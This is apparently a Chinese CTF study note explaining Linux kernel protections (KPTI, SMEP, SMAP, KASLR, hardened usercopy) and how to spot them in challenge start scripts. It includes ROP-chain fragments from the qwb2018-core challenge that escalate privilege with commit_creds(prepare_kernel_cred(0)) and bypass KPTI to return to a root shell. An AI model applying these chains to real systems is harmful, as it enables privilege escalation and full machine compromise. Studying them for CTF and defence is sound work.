kernel常见保护
常见保护
一.KPTI
kpti简介
简单说就是内核页表隔离:可以访问用户空间内存,但是不能执行用户空间代码;即无法直接通过构造swapgs_iretq的ROP来返回用户态。
PGD:出现用于处理中断
所以有一个CR3寄存器
PGD:当CR3[12]为1时为用户态,为0时为内核态,所以关键是要看怎么切换CR3[12]。
ASID:当CR3[11]为1时为用户态,为0时为内核态,所以关键是要看怎么切换CR3[11]。一般CR4开启PCIDE时CR3的低12位才有意义,正常情况下都是置为0
所以一旦开启kpti就不能使用ret2user,因为内核态无法确认用户态页表
kpti绕过
swap CR3
在一个开启 KPTI内核中会调用SWITCH_KERNEL_CR3_NO_STACK函数来从用户态进入内核态,关键代码如下所示:
1 | mov rdi, cr3 |
这个作用就是将CR3[11]=CR3[12]=0;
而从内核态返回到用户态调用 SWITCH_USER_CR3宏来切换 CR3如下所示:就是将其加在swapgs前
1 | mov rdi, cr3 |
可以参考qwb2018-core
// 1. 提权
rop[i++] = pop_rdi;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
rop[i++] = pop_rdx;
rop[i++] = commit_creds;
rop[i++] = mov_rdi_rax;
// === 新增:KPTI绕过部分 ===
// 方法一:使用单独的gadgets手动切换CR3
rop[i++] = mov_rdi_cr3; // 将当前CR3读到RDI
rop[i++] = or_rdi_0x1000; // RDI = RDI | 0x1000 (切换到用户页表)
rop[i++] = mov_cr3_rdi; // 将修改后的值写回CR3
// 方法二:或者直接跳转到KPTI trampoline(如果找到的话)
// rop[i++] = kpti_trampoline;
// 恢复执行环境并返回用户态
rop[i++] = swapgs;
rop[i++] = 0;
rop[i++] = iretq;
rop[i++] = (size_t)getshell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
swapgs_restore_regs_and_return_to_usermode
直接找vmlinux汇编代码
swapgs_restore_regs_and_return_to_usermode
1 | .text:FFFFFFFF81600A34 41 5F pop r15 |
可以参考qwb2018-core
rop[i++] = canary;
rop[i++] = 0;
rop[i++] = pop_rdi;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
rop[i++] = pop_rdx;
rop[i++] = commit_creds;
rop[i++] = mov_rdi_rax;
//swapgs --> iretq: rip, cs, rflags, rsp, ss. GetShell
rop[i++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 22 + kernel_offset; //就是ida中mov rdi,rsp开头
rop[i++] = 随便来个地址
rop[i++] = 随便来个地址
rop[i++] = (size_t)getshell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
参考: Linux Kernel KPTI保护绕过 - 安全客,安全资讯平台 (anquanke.com)
怎么查看
1.进入内核
1 | ./start.sh |
2.看start.sh
1 | -append "console=ttyS0 quiet root=/dev/sda rw init=/init oops=panic panic=1 panic_on_warn=1 kaslr pti=on" \ |
二.SMEP、SMAP、KASLR等
基本上start.sh里都有写
SMEP:
内核态下,禁止执行用户空间的内存。
SMAP:
内核态下,禁止读写用户空间的内存。(可通过特定指令临时关闭)
可以通过ROP修改CR3寄存器来绕过
KASLR:
通常需要泄露地址,可以通过以下命令查看当前基地址
1 | cat /proc/kallsyms | grep startup_64 |
1 | echo 1 > /proc/sys/kernel/kptr_restrict//大多数init.sh都开启了这个,所以不能直接访问 |
但是也可以爆破,KASLR的随机化程度只有9bit
三.其他保护
STACK PROTECTOR:类似用户态的cancary
参考README.MD:有时候出题人给的README.MD会给配置
1 | plaintextCONFIG_SLAB=y |
如上就是使用SLAB分配,开启RANDOM和HARDENED保护,以及Hardened Usercopy(内核空间指针也会进行非常严格的安全性检查,包括不允许为空指针、不允许指向 kmalloc 分配的零长度区域、不允许指向内核代码段、如果指向 Slab 则不允许超过 Slab 分配器分配的长度、如果涉及到栈则不允许超出当前进程的栈空间等等。)和 Static Usermodehelper Path(modprobe_path 为只读,不可修改)
参考:【CTF.0x05】TCTF2021-FINAL 两道 kernel pwn 题解 - arttnba3’s blog